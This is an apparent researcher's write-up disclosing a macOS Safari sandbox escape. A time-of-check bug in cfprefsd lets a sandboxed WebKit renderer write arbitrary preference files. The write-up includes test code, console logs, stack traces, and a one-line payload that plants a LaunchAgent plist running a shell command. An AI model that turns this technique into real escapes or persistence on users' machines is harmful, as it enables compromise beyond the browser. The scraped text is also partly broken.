One-liner Safari sandbox escape exploit

Isn’t writing plist supposed to be blocked by sandbox?The key is that there’s a TOCTOU incfprefsd that you don’t even need to race.

There are Preferences Utilities in CoreFoundation for reading and saving plist serialized preferences on macOS.





com/documentation/corefoundation/1515528-cfpreferencessetappvalue?language=objcMost developers are in favor of NSUserDefaults.

They are similar for reading and setting serialized key value data, but NSUserDefaults is designed for containerized environment (like apps from App Store), while Preferences Utilities has an explicit argument for accessing data from other applications.

These plist files are usually located in:/Library/Preferences for root privileged processes~/Library/Preferences for normal, un-containerized process~/Library/Containers/{bundle_id}/Data/Library/Preferences for containerized apps from mac App StoreThe applicationID argument can also be an absolute path, if the app has the access permission.

Now the question is, why giving the path outside sandbox it still works?These functions internally invoke inter process communication via XPC with cfprefsd, as implemented in CoreFoundation.

The daemon surely will check the sandbox state of incoming message, with sandbox_check.

The TOCTOU is about mistakenly cache the result of sandbox_check from the beginning, and keep trusting it during the whole session.

Check this function out:When a process first initiates an XPC connection with cfprefsd, its sandbox state is checked with sandbox_check function.

The result is cached for the duration of this XPC session.

Thus, new CFPreference operations are still allowed by cfprefsd after sandbox lockdown because of this cached result.

Minimal test case here.

The following CopyAppValue request obviously will fail:init_sandbox(); // copy the implementation from WebKit sourceNSLog(@"read: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.

app/Contents/Info")));bogon:Downloads vm$ .


out2019–03–14 07:47:48.

068 a.

out[1028:33847] read: (null)And console output of cfprefsd for the first try:rejecting read of { /Applications/Calculator.

app/Contents/Info, kCFPreferencesAnyUser, kCFPreferencesCurrentHost, no container, managed: 0 } from process 1028 because accessing preferences outside an application’s container requires user-preference-read or file-read-data sandbox accessNow let’s put an extra read operation before init_sandbox, the second call will surprisingly work:NSLog(@"before: %@", CFPreferencesCopyAppValue(CFSTR("TALLogoutSavesState"), CFSTR("com.


loginwindow")));init_sandbox();NSLog(@"after: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.

app/Contents/Info")));bogon:Downloads vm$ .


out2019–03–14 07:47:08.

291 a.

out[1026:33710] before: (null)2019–03–14 07:47:08.

347 a.

out[1026:33710] after: 10.

13, Copyright © 2001–2017, Apple Inc.

As we see, if a process has accessed CFPreferences utilities before it goes into sandbox state, there will be no further sandbox check.

Let’s take a look at WebKit’s sandbox implementation.

According to the sandbox profile, process-exec is prohibited (all rules not explicitly allowed goes to deny default)com.




inCopyright © 2010, 2011, 2012, 2013, 2014 Apple Inc.

All rights reserved.

 ; ; Redistribution and use in source and…opensource.


comWebKit has a multi-process architecture, so it needs to spawn the process before containerization.

At the very beginning of the renderer process creation, it’s just a normal process.

Unfortunately the renderer process has such interaction with CFPreferences during process initialization:frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107 frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423 frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78 frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90 frame #21: 0x00007fff71678248 libobjc.


dylib` CALLING_SOME_+initialize_METHOD + 19 frame #22: 0x00007fff7166800c libobjc.


dylib` _class_initialize + 282 frame #23: 0x00007fff71667a19 libobjc.


dylib` lookUpImpOrForward + 238 frame #24: 0x00007fff71667494 libobjc.


dylib` _objc_msgSend_uncached + 68 frame #25: 0x0000000100001627 com.



WebContent` ___lldb_unnamed_symbol1$$com.



WebContent + 519 frame #26: 0x00007fff72743ed9 libdyld.

dylib` start + 1After the initialization, it calls ChildProcess::initializeSandbox to enter sandbox and load untrusted content.









htmlManually entering sandboxSo cfprefsd will always treat it like a normal process.

No additional action required, just access arbitrary preferences from arbitrary domain under same uid with these utilities.

Let’s assume you’ve already archived rop or shellcode to dlopen the escape payload, all you need to put in the dylib constructor function is the following one line of code:CFPreferencesSetAppValue(CFSTR(“ProgramArguments”), (__bridge CFArrayRef)@[@”/bin/sh”, @”-c”, @”open -a Calculator”], (__bridge CFStringRef)[NSHomeDirectory() stringByAppendingPathComponent:@”Library/LaunchAgents/evil.

plist”]);LaunchAgent requires logging off, so I digged around and found another way to trigger the code execution outside instantly.

Well this instant trigger actually has nearly 80 lines (make it clear in case of the criticize for the title) of code.

Here’s the live demo chained with WebSQL renderer exploit from Pwn2Own 2017 (credit to Slipper & Kelwin).

Don’t have a working renderer exploit on High Sierra so I use the old one.

This bug affects at least from El Capitan to High Sierra (10.


6), or maybe even earlier version.

No CVE assigned but I think it’s worth branding.


. More details

Leave a Reply